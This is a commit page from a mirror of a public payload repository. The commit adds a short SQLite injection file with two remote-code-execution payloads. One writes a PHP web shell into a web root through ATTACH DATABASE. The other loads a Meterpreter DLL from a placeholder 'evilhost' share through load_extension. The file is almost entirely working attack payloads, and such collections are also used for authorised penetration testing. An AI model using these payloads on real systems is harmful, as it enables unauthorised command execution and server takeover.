mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2026-01-03 08:17:11 -08:00
SQL injections payloads separated + OAuth
This commit is contained in:
14
SQL injection/SQLite Injection.md
Normal file
14
SQL injection/SQLite Injection.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# SQLite
|
||||
|
||||
##Remote Command Execution using SQLite command - Attach Database
|
||||
```
|
||||
ATTACH DATABASE ‘/var/www/lol.php’ AS lol;
|
||||
CREATE TABLE lol.pwn (dataz text);
|
||||
INSERT INTO lol.pwn (dataz) VALUES (‘<?system($_GET[‘cmd’]); ?>’);--
|
||||
```
|
||||
|
||||
##Remote Command Execution using SQLite command - Load_extension
|
||||
```
|
||||
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
|
||||
```
|
||||
Note: By default this component is disabled
|
||||
Reference in New Issue
Block a user